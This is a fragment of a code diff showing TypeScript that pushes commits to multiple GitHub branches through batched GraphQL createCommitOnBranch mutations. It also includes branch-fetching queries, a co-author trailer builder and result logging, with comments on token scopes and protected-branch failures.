|
||||||
|
logUtil.log(
|
||||||
|
` ✓ ${result.branch} → ${result.commitOid?.slice(0, 7)}`,
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
logUtil.log(` ✗ ${result.branch} → ${result.error}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
this.logSummary(results);
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Logs a one-line summary of how many branch updates succeeded vs failed. */
|
||||||
|
private logSummary(results: UpdateResult[]): void {
|
||||||
|
const ok = results.filter((r) => r.success).length;
|
||||||
|
const fail = results.filter((r) => !r.success).length;
|
||||||
|
logUtil.log(
|
||||||
|
`\nDone. ${ok} succeeded, ${fail} failed out of ${results.length}.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Builds the commit-message body containing one `Co-authored-by:` trailer
|
||||||
|
* per entry in `coauthors`. Returns an empty string if the list is empty,
|
||||||
|
* which signals to the caller that no `body` field should be sent.
|
||||||
|
*
|
||||||
|
* The trailer format is the one GitHub recognises for surfacing additional
|
||||||
|
* authors on the commit page:
|
||||||
|
*
|
||||||
|
* Co-authored-by: Name <email>
|
||||||
|
*
|
||||||
|
* A blank line precedes the trailer block, per Git convention for message
|
||||||
|
* bodies.
|
||||||
|
*/
|
||||||
|
function buildCoAuthorTrailer(
|
||||||
|
coauthors: ReadonlyArray<{ name: string; email: string }>,
|
||||||
|
): string {
|
||||||
|
if (coauthors.length === 0) return "";
|
||||||
|
const trailers = coauthors
|
||||||
|
.map((c) => `Co-authored-by: ${c.name} <${c.email}>`)
|
||||||
|
.join("\n");
|
||||||
|
return `\n${trailers}`;
|
||||||
|
}
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
/**
|
||||||
|
* Read query: fetches branches ordered by most recent commit activity.
|
||||||
|
*
|
||||||
|
* Note: this query intentionally does NOT include `branchProtectionRules`.
|
||||||
|
* That field requires repository administration permission (the
|
||||||
|
* `administration: read` scope on a GitHub App installation token, or
|
||||||
|
* admin access for a PAT) and would cause the entire query to fail with
|
||||||
|
* "Resource not accessible by integration" when run under the standard
|
||||||
|
* `contents: write` token issued to GitHub Actions workflows.
|
||||||
|
*
|
||||||
|
* Protected branches are instead handled at commit time: the
|
||||||
|
* `createCommitOnBranch` mutation refuses to write to a protected branch
|
||||||
|
* and surfaces a per-branch error, which we record as a normal failed
|
||||||
|
* `UpdateResult` without affecting the other branches in the batch.
|
||||||
|
*/
|
||||||
|
export const FETCH_BRANCHES_AND_PROTECTION = `
|
||||||
|
query FetchBranches(
|
||||||
|
$owner: String!
|
||||||
|
$name: String!
|
||||||
|
$first: Int!
|
||||||
|
$after: String
|
||||||
|
) {
|
||||||
|
repository(owner: $owner, name: $name) {
|
||||||
|
refs(
|
||||||
|
refPrefix: "refs/heads/"
|
||||||
|
first: $first
|
||||||
|
after: $after
|
||||||
|
orderBy: { field: TAG_COMMIT_DATE, direction: DESC }
|
||||||
|
) {
|
||||||
|
totalCount
|
||||||
|
nodes {
|
||||||
|
name
|
||||||
|
target {
|
||||||
|
... on Commit {
|
||||||
|
oid
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pageInfo {
|
||||||
|
hasNextPage
|
||||||
|
endCursor
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
`;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Single-branch commit mutation. Retained for callers that want to push to
|
||||||
|
* exactly one branch without the overhead of building a batched document.
|
||||||
|
*/
|
||||||
|
export const CREATE_COMMIT_ON_BRANCH = `
|
||||||
|
mutation CreateCommitOnBranch($input: CreateCommitOnBranchInput!) {
|
||||||
|
createCommitOnBranch(input: $input) {
|
||||||
|
commit {
|
||||||
|
oid
|
||||||
|
url
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
`;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Builds a batched mutation document that calls `createCommitOnBranch`
|
||||||
|
* once per branch in `aliases`, all within a single HTTP request.
|
||||||
|
*
|
||||||
|
* Each alias is rendered as `b<index>: createCommitOnBranch(input: $input<index>)`
|
||||||
|
* with a matching `$input<index>: CreateCommitOnBranchInput!` parameter, so the
|
||||||
|
* caller's `variables` object should be shaped:
|
||||||
|
*
|
||||||
|
* { input0: { ... }, input1: { ... }, ... }
|
||||||
|
*
|
||||||
|
* Note on semantics: per the GraphQL spec, mutations within one document
|
||||||
|
* execute **serially** on the server. Batching saves HTTP round-trips and
|
||||||
|
* connection overhead but does not parallelise the underlying commits.
|
||||||
|
*
|
||||||
|
* If any individual commit fails, GitHub returns `null` for that alias and
|
||||||
|
* appends an entry to the top-level `errors` array with `path: ["b<index>"]`,
|
||||||
|
* while continuing to execute the remaining aliases.
|
||||||
|
*
|
||||||
|
* @param aliasCount Number of `createCommitOnBranch` calls to embed in the
|
||||||
|
* document. Must be >= 1.
|
||||||
|
*/
|
||||||
|
export function buildBatchedCommitMutation(aliasCount: number): string {
|
||||||
|
if (aliasCount < 1) {
|
||||||
|
throw new Error(
|
||||||
|
`buildBatchedCommitMutation requires aliasCount >= 1, got ${aliasCount}.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const params: string[] = [];
|
||||||
|
const body: string[] = [];
|
||||||
|
|
||||||
|
for (let i = 0; i < aliasCount; i += 1) {
|
||||||
|
params.push(`$input${i}: CreateCommitOnBranchInput!`);
|
||||||
|
body.push(
|
||||||
|
` b${i}: createCommitOnBranch(input: $input${i}) {\n` +
|
||||||
|
` commit {\n` +
|
||||||
|
` oid\n` +
|
||||||
|
` url\n` +
|
||||||
|
` }\n` +
|
||||||
|
` }`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return `mutation BatchedCreateCommitOnBranch(\n ${params.join(
|
||||||
|
"\n ",
|
||||||
|
)}\n) {\n${body.join("\n")}\n}\n`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Alias prefix used by `buildBatchedCommitMutation` for each commit call. */
|
||||||
|
export const BATCHED_COMMIT_ALIAS_PREFIX = "b";
|
||||||
|
|
||||||
|
/** Variable-name prefix used by `buildBatchedCommitMutation` for each input. */
|
||||||
|
export const BATCHED_COMMIT_VARIABLE_PREFIX = "input";
|
||||||
Reference in New Issue
Block a user